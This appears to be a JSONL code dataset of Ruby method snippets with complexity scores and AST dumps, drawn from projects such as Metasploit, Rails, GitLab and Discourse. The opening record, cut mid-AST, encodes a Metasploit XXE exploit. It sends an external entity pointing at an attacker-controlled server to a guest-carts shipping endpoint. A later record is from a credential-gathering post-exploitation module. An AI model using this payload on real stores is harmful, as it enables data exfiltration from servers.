\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Rex\"]},\"Text\"]},\"rand_text_alpha_lower\",{\"type\":\"irange\",\"children\":[{\"type\":\"int\",\"children\":[4]},{\"type\":\"int\",\"children\":[8]}]}]}]},{\"type\":\"str\",\"children\":[\" ANY >\"]}]}]},{\"type\":\"op_asgn\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"xml\"]},\"+\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"    <!ENTITY % \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"system_entity\"]}]},{\"type\":\"str\",\"children\":[\" SYSTEM \\\"http://\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"datastore\"]},\"[]\",{\"type\":\"str\",\"children\":[\"SRVHOST\"]}]}]},{\"type\":\"str\",\"children\":[\":\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"datastore\"]},\"[]\",{\"type\":\"str\",\"children\":[\"SRVPORT\"]}]}]},{\"type\":\"str\",\"children\":[\"/\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@url_file\"]}]},{\"type\":\"str\",\"children\":[\"/\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@filter_path\"]}]},{\"type\":\"str\",\"children\":[\"\\\"> %\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"system_entity\"]}]},{\"type\":\"str\",\"children\":[\"; %\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@xxe_param\"]}]},{\"type\":\"str\",\"children\":[\";  \"]}]}]},{\"type\":\"op_asgn\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"xml\"]},\"+\",{\"type\":\"str\",\"children\":[\"]\"]}]},{\"type\":\"op_asgn\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"xml\"]},\"+\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"> <r>&\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@xxe_exfil\"]}]},{\"type\":\"str\",\"children\":[\";</r>\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"json\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"address\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"totalsReader\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"collectorList\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"totalCollector\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"sourceData\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"data\"]},{\"type\":\"lvar\",\"children\":[\"xml\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"options\"]},{\"type\":\"int\",\"children\":[524290]}]}]}]}]}]}]}]}]}]}]}]}]}]},{\"type\":\"lvasgn\",\"children\":[\"res\",{\"type\":\"send\",\"children\":[null,\"send_request_cgi\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"method\"]},{\"type\":\"str\",\"children\":[\"POST\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"uri\"]},{\"type\":\"send\",\"children\":[null,\"normalize_uri\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"target_uri\"]},\"path\"]},{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"/rest/V1/guest-carts/\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Rex\"]},\"Text\"]},\"rand_text_alpha\",{\"type\":\"int\",\"children\":[32]}]}]},{\"type\":\"str\",\"children\":[\"/estimate-shipping-methods\"]}]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"ctype\"]},{\"type\":\"str\",\"children\":[\"application/json\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"data\"]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"JSON\"]},\"generate\",{\"type\":\"lvar\",\"children\":[\"json\"]}]}]}]}]}]},{\"type\":\"lvar\",\"children\":[\"res\"]}]}]}","id":"74665f9d-e76d-4bb0-a65b-c0ff176b6388"}
{"repo_name":"rails","file_path":"./repos/rails/actionpack/test/controller/mime/respond_to_test.rb","start_line":414,"raw_source":"def test_json_or_yaml\n    get :json_or_yaml, xhr: true\n    assert_equal \"JSON\", @response.body\n\n    get :json_or_yaml, format: \"json\"\n    assert_equal \"JSON\", @response.body\n\n    get :json_or_yaml, format: \"yaml\"\n    assert_equal \"YAML\", @response.body\n\n    { \"YAML\" => %w(text/yaml),\n      \"JSON\" => %w(application/json text/x-json)\n    }.each do |body, content_types|\n      content_types.each do |content_type|\n        @request.accept = content_type\n        get :json_or_yaml\n        assert_equal body, @response.body\n      end\n    end\n  end","complexity_score":19.2,"ast_json":"{\"type\":\"def\",\"children\":[\"test_json_or_yaml\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"get\",{\"type\":\"sym\",\"children\":[\"json_or_yaml\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"xhr\"]},{\"type\":\"true\",\"children\":[]}]}]}]},{\"type\":\"send\",\"children\":[null,\"assert_equal\",{\"type\":\"str\",\"children\":[\"JSON\"]},{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@response\"]},\"body\"]}]},{\"type\":\"send\",\"children\":[null,\"get\",{\"type\":\"sym\",\"children\":[\"json_or_yaml\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"format\"]},{\"type\":\"str\",\"children\":[\"json\"]}]}]}]},{\"type\":\"send\",\"children\":[null,\"assert_equal\",{\"type\":\"str\",\"children\":[\"JSON\"]},{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@response\"]},\"body\"]}]},{\"type\":\"send\",\"children\":[null,\"get\",{\"type\":\"sym\",\"children\":[\"json_or_yaml\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"format\"]},{\"type\":\"str\",\"children\":[\"yaml\"]}]}]}]},{\"type\":\"send\",\"children\":[null,\"assert_equal\",{\"type\":\"str\",\"children\":[\"YAML\"]},{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@response\"]},\"body\"]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"YAML\"]},{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"text/yaml\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"JSON\"]},{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"application/json\"]},{\"type\":\"str\",\"children\":[\"text/x-json\"]}]}]}]},\"each\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"body\"]},{\"type\":\"arg\",\"children\":[\"content_types\"]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"content_types\"]},\"each\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"content_type\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@request\"]},\"accept=\",{\"type\":\"lvar\",\"children\":[\"content_type\"]}]},{\"type\":\"send\",\"children\":[null,\"get\",{\"type\":\"sym\",\"children\":[\"json_or_yaml\"]}]},{\"type\":\"send\",\"children\":[null,\"assert_equal\",{\"type\":\"lvar\",\"children\":[\"body\"]},{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@response\"]},\"body\"]}]}]}]}]}]}]}","id":"987f1397-42cf-42db-9456-69571018df6b"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/lib/rex/ui/text/bidirectional_pipe.rb","start_line":38,"raw_source":"def create_subscriber_proc(id=nil, &block)\n    id = create_subscriber(id)\n    @subscribers_ref[id] = block\n  end","complexity_score":4.0,"ast_json":"{\"type\":\"def\",\"children\":[\"create_subscriber_proc\",{\"type\":\"args\",\"children\":[{\"type\":\"optarg\",\"children\":[\"id\",{\"type\":\"nil\",\"children\":[]}]},{\"type\":\"blockarg\",\"children\":[\"block\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"id\",{\"type\":\"send\",\"children\":[null,\"create_subscriber\",{\"type\":\"lvar\",\"children\":[\"id\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@subscribers_ref\"]},\"[]=\",{\"type\":\"lvar\",\"children\":[\"id\"]},{\"type\":\"lvar\",\"children\":[\"block\"]}]}]}]}","id":"04987f37-270e-415a-98ab-f7c5e899aa78"}
{"repo_name":"openproject","file_path":"./repos/openproject/modules/meeting/spec/support/pages/meetings/index.rb","start_line":193,"raw_source":"def expect_meetings_listed(*meetings)\n      meetings.each do |meeting|\n        expect(page).to have_css(\"div.title\", text: meeting.title)\n      end\n    end","complexity_score":8.7,"ast_json":"{\"type\":\"def\",\"children\":[\"expect_meetings_listed\",{\"type\":\"args\",\"children\":[{\"type\":\"restarg\",\"children\":[\"meetings\"]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"meetings\"]},\"each\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"meeting\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"expect\",{\"type\":\"send\",\"children\":[null,\"page\"]}]},\"to\",{\"type\":\"send\",\"children\":[null,\"have_css\",{\"type\":\"str\",\"children\":[\"div.title\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"text\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"meeting\"]},\"title\"]}]}]}]}]}]}]}","id":"a7427eef-a284-41d1-a9b9-53ac5096524a"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/modules/post/windows/gather/credentials/gpp.rb","start_line":368,"raw_source":"def get_cached_domain_controller\n    subkey = 'HKEY_LOCAL_MACHINE\\\\SOFTWARE\\\\Microsoft\\\\Windows\\\\CurrentVersion\\\\Group Policy\\\\History\\\\'\n    v_name = 'DCName'\n    dc = registry_getvaldata(subkey, v_name).gsub(/\\\\/, '').upcase\n    print_status(\"Retrieved DC #{dc} from registry\")\n    return dc\n  rescue StandardError\n    print_status('No DC found in registry')\n  end","complexity_score":11.1,"ast_json":"{\"type\":\"def\",\"children\":[\"get_cached_domain_controller\",{\"type\":\"args\",\"children\":[]},{\"type\":\"rescue\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"subkey\",{\"type\":\"str\",\"children\":[\"HKEY_LOCAL_MACHINE\\\\SOFTWARE\\\\Microsoft\\\\Windows\\\\CurrentVersion\\\\Group Policy\\\\History\\\\\"]}]},{\"type\":\"lvasgn\",\"children\":[\"v_name\",{\"type\":\"str\",\"children\":[\"DCName\"]}]},{\"type\":\"lvasgn\",\"children\":[\"dc\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"registry_getvaldata\",{\"type\":\"lvar\",\"children\":[\"subkey\"]},{\"type\":\"lvar\",\"children\":[\"v_name\"]}]},\"gsub\",{\"type\":\"regexp\",\"children\":[{\"type\":\"str\",\"children\":[\"\\\\\\\\\"]},{\"type\":\"regopt\",\"children\":[]}]},{\"type\":\"str\",\"children\":[\"\"]}]},\"upcase\"]}]},{\"type\":\"send\",\"children\":[null,\"print_status\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"Retrieved DC \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"dc\"]}]},{\"type\":\"str\",\"children\":[\" from registry\"]}]}]},{\"type\":\"return\",\"children\":[{\"type\":\"lvar\",\"children\":[\"dc\"]}]}]},{\"type\":\"resbody\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"const\",\"children\":[null,\"StandardError\"]}]},null,{\"type\":\"send\",\"children\":[null,\"print_status\",{\"type\":\"str\",\"children\":[\"No DC found in registry\"]}]}]},null]}]}","id":"02032601-ad2c-4212-9b7e-6abe61b6ab63"}
{"repo_name":"doorkeeper","file_path":"./repos/doorkeeper/lib/doorkeeper/orm/active_record/redirect_uri_validator.rb","start_line":37,"raw_source":"def forbidden_uri?(uri)\n      Doorkeeper.config.forbid_redirect_uri.call(uri)\n    end","complexity_score":3.6,"ast_json":"{\"type\":\"def\",\"children\":[\"forbidden_uri?\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"uri\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Doorkeeper\"]},\"config\"]},\"forbid_redirect_uri\"]},\"call\",{\"type\":\"lvar\",\"children\":[\"uri\"]}]}]}","id":"fb297fb9-bdde-4a8f-969a-5d395a31ae12"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/vendor/gems/sidekiq/lib/sidekiq/api.rb","start_line":631,"raw_source":"def scan(match, count = 100)\n      return to_enum(:scan, match, count) unless block_given?\n\n      match = \"*#{match}*\" unless match.include?(\"*\")\n      Sidekiq.redis do |conn|\n        conn.zscan(name, match: match, count: count) do |entry, score|\n          yield SortedEntry.new(self, score, entry)\n        end\n      end\n    end","complexity_score":15.35,"ast_json":"{\"type\":\"def\",\"children\":[\"scan\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"match\"]},{\"type\":\"optarg\",\"children\":[\"count\",{\"type\":\"int\",\"children\":[100]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[null,\"block_given?\"]},null,{\"type\":\"return\",\"children\":[{\"type\":\"send\",\"children\":[null,\"to_enum\",{\"type\":\"sym\",\"children\":[\"scan\"]},{\"type\":\"lvar\",\"children\":[\"match\"]},{\"type\":\"lvar\",\"children\":[\"count\"]}]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"match\"]},\"include?\",{\"type\":\"str\",\"children\":[\"*\"]}]},null,{\"type\":\"lvasgn\",\"children\":[\"match\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"*\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"match\"]}]},{\"type\":\"str\",\"children\":[\"*\"]}]}]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Sidekiq\"]},\"redis\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"conn\"]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"conn\"]},\"zscan\",{\"type\":\"send\",\"children\":[null,\"name\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"match\"]},{\"type\":\"lvar\",\"children\":[\"match\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"count\"]},{\"type\":\"lvar\",\"children\":[\"count\"]}]}]}]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"entry\"]},{\"type\":\"arg\",\"children\":[\"score\"]}]},{\"type\":\"yield\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"SortedEntry\"]},\"new\",{\"type\":\"self\",\"children\":[]},{\"type\":\"lvar\",\"children\":[\"score\"]},{\"type\":\"lvar\",\"children\":[\"entry\"]}]}]}]}]}]}]}","id":"b380762a-f1be-4e46-867e-f6867a3303f6"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/lib/gitlab/otp_key_rotator.rb","start_line":56,"raw_source":"def rollback!\n      User.transaction do\n        CSV.foreach(filename, headers: HEADERS, return_headers: false) do |row|\n          User.where(id: row['user_id']).update_all(encrypted_otp_secret: row['old_value'])\n        end\n      end\n    end","complexity_score":11.1,"ast_json":"{\"type\":\"def\",\"children\":[\"rollback!\",{\"type\":\"args\",\"children\":[]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"User\"]},\"transaction\"]},{\"type\":\"args\",\"children\":[]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"CSV\"]},\"foreach\",{\"type\":\"send\",\"children\":[null,\"filename\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"headers\"]},{\"type\":\"const\",\"children\":[null,\"HEADERS\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"return_headers\"]},{\"type\":\"false\",\"children\":[]}]}]}]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"row\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"User\"]},\"where\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"id\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"row\"]},\"[]\",{\"type\":\"str\",\"children\":[\"user_id\"]}]}]}]}]},\"update_all\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"encrypted_otp_secret\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"row\"]},\"[]\",{\"type\":\"str\",\"children\":[\"old_value\"]}]}]}]}]}]}]}]}","id":"0d427ec1-6dd0-4948-a471-513ac4cc79a2"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/lib/msf/core/exploit/pdf_parse.rb","start_line":125,"raw_source":"def parse_object(xref_trailers,obj_name,stream)\n\n    for xrefs in xref_trailers\n      offset = object_locate(xrefs,obj_name)\n      if offset\n        break\n      end\n    end\n\n\n    if offset\n      stream.index(/endobj/,offset)\n      object_end = Regexp.last_match.end(0)\n      return stream[offset..object_end]\n    else\n      return nil\n    end\n  end","complexity_score":11.5,"ast_json":"{\"type\":\"def\",\"children\":[\"parse_object\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"xref_trailers\"]},{\"type\":\"arg\",\"children\":[\"obj_name\"]},{\"type\":\"arg\",\"children\":[\"stream\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"for\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"xrefs\"]},{\"type\":\"lvar\",\"children\":[\"xref_trailers\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"offset\",{\"type\":\"send\",\"children\":[null,\"object_locate\",{\"type\":\"lvar\",\"children\":[\"xrefs\"]},{\"type\":\"lvar\",\"children\":[\"obj_name\"]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"lvar\",\"children\":[\"offset\"]},{\"type\":\"break\",\"children\":[]},null]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"lvar\",\"children\":[\"offset\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"stream\"]},\"index\",{\"type\":\"regexp\",\"children\":[{\"type\":\"str\",\"children\":[\"endobj\"]},{\"type\":\"regopt\",\"children\":[]}]},{\"type\":\"lvar\",\"children\":[\"offset\"]}]},{\"type\":\"lvasgn\",\"children\":[\"object_end\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Regexp\"]},\"last_match\"]},\"end\",{\"type\":\"int\",\"children\":[0]}]}]},{\"type\":\"return\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"stream\"]},\"[]\",{\"type\":\"irange\",\"children\":[{\"type\":\"lvar\",\"children\":[\"offset\"]},{\"type\":\"lvar\",\"children\":[\"object_end\"]}]}]}]}]},{\"type\":\"return\",\"children\":[{\"type\":\"nil\",\"children\":[]}]}]}]}]}","id":"25c843c3-ebc1-4a27-87d5-e61cb2ee1536"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/lib/bulk_imports/pipeline/context.rb","start_line":41,"raw_source":"def current_user\n        @current_user ||= bulk_import.user\n      end","complexity_score":3.2,"ast_json":"{\"type\":\"def\",\"children\":[\"current_user\",{\"type\":\"args\",\"children\":[]},{\"type\":\"or_asgn\",\"children\":[{\"type\":\"ivasgn\",\"children\":[\"@current_user\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"bulk_import\"]},\"user\"]}]}]}","id":"3e0b0836-9519-42e2-a3a1-ec225154ac21"}
{"repo_name":"discourse","file_path":"./repos/discourse/app/models/category.rb","start_line":726,"raw_source":"def remove_site_settings\n    SiteSetting.all_settings.each do |s|\n      SiteSetting.set(s[:setting], \"\") if s[:type] == \"category\" && s[:value].to_i == self.id\n    end\n  end","complexity_score":16.2,"ast_json":"{\"type\":\"def\",\"children\":[\"remove_site_settings\",{\"type\":\"args\",\"children\":[]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"SiteSetting\"]},\"all_settings\"]},\"each\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"s\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"and\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"s\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"type\"]}]},\"==\",{\"type\":\"str\",\"children\":[\"category\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"s\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"value\"]}]},\"to_i\"]},\"==\",{\"type\":\"send\",\"children\":[{\"type\":\"self\",\"children\":[]},\"id\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"SiteSetting\"]},\"set\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"s\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"setting\"]}]},{\"type\":\"str\",\"children\":[\"\"]}]},null]}]}]}","id":"30f24842-6a11-44f7-ad77-642eb781c369"}
{"repo_name":"discourse","file_path":"./repos/discourse/lib/backup_restore/backup_store.rb","start_line":36,"raw_source":"def delete_old\n      return unless cleanup_allowed?\n      return if (backup_files = files).size <= SiteSetting.maximum_backups\n\n      backup_files[SiteSetting.maximum_backups..-1].each { |file| delete_file(file.filename) }\n\n      reset_cache\n    end","complexity_score":17.2,"ast_json":"{\"type\":\"def\",\"children\":[\"delete_old\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[null,\"cleanup_allowed?\"]},null,{\"type\":\"return\",\"children\":[]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"backup_files\",{\"type\":\"send\",\"children\":[null,\"files\"]}]}]},\"size\"]},\"<=\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"SiteSetting\"]},\"maximum_backups\"]}]},{\"type\":\"return\",\"children\":[]},null]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"backup_files\"]},\"[]\",{\"type\":\"irange\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"SiteSetting\"]},\"maximum_backups\"]},{\"type\":\"int\",\"children\":[-1]}]}]},\"each\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"file\"]}]},{\"type\":\"send\",\"children\":[null,\"delete_file\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"file\"]},\"filename\"]}]}]},{\"type\":\"send\",\"children\":[null,\"reset_cache\"]}]}]}","id":"32bea8fd-64e0-42ec-ac90-cbba46904b83"}
{"repo_name":"multiwoven","file_path":"./repos/multiwoven/integrations/lib/multiwoven/integrations/source/google_drive/client.rb","start_line":147,"raw_source":"def build_query(client)\n        query = \"mimeType != 'application/vnd.google-apps.folder'\"\n\n        if @options[:folder]\n          folder_query = \"#{MIMETYPE_GOOGLE_DRIVE_FOLDER} and (name = '#{@options[:folder]}')\"\n          response = client.list_files(include_items_from_all_drives: true, supports_all_drives: true, q: folder_query, fields: FIELDS)\n          raise \"Specified folder does not exist\" if response.files.empty?\n\n          parent_id = response.files.first.id\n          parents_query = \"'#{parent_id}' in parents\"\n        end\n\n        if @options[:subfolders]\n          subfolders_query = MIMETYPE_GOOGLE_DRIVE_FOLDER\n          subfolders_query += \"and #{parents_query}\" if parents_query\n          response = client.list_files(include_items_from_all_drives: true, supports_all_drives: true, q: subfolders_query, fields: FIELDS)\n          subfolders_ids = response.files.map { |file| \"'#{file.id}'\" }\n          parents_query = \"(#{subfolders_ids.join(\" in parents or \")} in parents)\"\n        end\n\n        query += \" and mimeType = '#{@options[:file_type]}'\" if @options[:file_type]\n        query += \" and #{parents_query}\" if parents_query\n        query\n      end","complexity_score":46.3,"ast_json":"{\"type\":\"def\",\"children\":[\"build_query\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"client\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"query\",{\"type\":\"str\",\"children\":[\"mimeType != 'application/vnd.google-apps.folder'\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@options\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"folder\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"folder_query\",{\"type\":\"dstr\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"const\",\"children\":[null,\"MIMETYPE_GOOGLE_DRIVE_FOLDER\"]}]},{\"type\":\"str\",\"children\":[\" and (name = '\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@options\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"folder\"]}]}]},{\"type\":\"str\",\"children\":[\"')\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"response\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"client\"]},\"list_files\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"include_items_from_all_drives\"]},{\"type\":\"true\",\"children\":[]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"supports_all_drives\"]},{\"type\":\"true\",\"children\":[]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"q\"]},{\"type\":\"lvar\",\"children\":[\"folder_query\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"fields\"]},{\"type\":\"const\",\"children\":[null,\"FIELDS\"]}]}]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"response\"]},\"files\"]},\"empty?\"]},{\"type\":\"send\",\"children\":[null,\"raise\",{\"type\":\"str\",\"children\":[\"Specified folder does not exist\"]}]},null]},{\"type\":\"lvasgn\",\"children\":[\"parent_id\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"response\"]},\"files\"]},\"first\"]},\"id\"]}]},{\"type\":\"lvasgn\",\"children\":[\"parents_query\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"'\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"parent_id\"]}]},{\"type\":\"str\",\"children\":[\"' in 